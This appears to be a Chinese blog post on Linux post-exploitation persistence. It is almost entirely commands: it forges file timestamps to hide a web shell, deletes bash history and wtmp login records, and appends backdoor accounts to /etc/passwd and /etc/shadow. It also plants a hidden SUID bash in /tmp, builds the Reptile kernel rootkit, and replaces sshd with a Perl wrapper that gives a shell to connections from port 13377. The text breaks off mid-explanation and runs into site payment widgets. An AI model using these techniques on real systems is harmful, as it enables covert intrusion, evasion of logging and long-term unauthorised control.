linux权限维持

修改属性

文件时间

touch -r index.php shell.php
touch -t 202010101010 shell.php
#touch --help

历史操作命令

histroy -r #删除当前会话历史记录
history -c #删除内存中的所有命令历史
rm .bash_history #删除历史文件中的内容
sed -i '150,$d' .bash_history#只保留前150行
set +o history#针对你的工作关闭历史记录
set -o history#恢复
echo > /var/log/wtmp#删除last命令记录

添加用户

perl -le 'print crypt("momaek","salt")'#输出savbSWc4rx8NY
echo "momaek:savbSWc4rx8NY:hacker:/root:/bin/bash" >> /etc/passwd
echo "momaek:savbSWc4rx8NY:-1:-1:-1:-1:-1:-1:500" >> /etc/shadow#普通账户
useradd guest;echo 'guest:123456'|chpasswd

suid

cp /bin/bash /tmp/.woot
chmod 4755 /tmp/.woot
#普通用户执行
/tmp/.woot -p
find /tmp -perm -u=s -type f 2>/dev/null#查找suid权限文件

LKM Linux rootkit后门

https://github.com/f0rb1dd3n/Reptile
apt install build-essential libncurses-dev
apt install linux-headers-$(uname -r)#linux-headers-5.10.0-kali9-amd64
git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile
make menuconfig           # or 'make config' or even 'make defconfig'
make
make install

kali2021无法编译 待解决

ssh后门

SSH wrapper

判断源端口 重定向到/bin/sh中

cd /usr/sbin/
mv sshd ../bin/

echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd   //4A是13377的小端模式
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd

/etc/init.d/sshd restart

这里设计到perl的语法,exec PROGRAM LIST
具体可以参考

https://perldoc.perl.org/functions/exec

意思就是使用/usr/bin/s

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值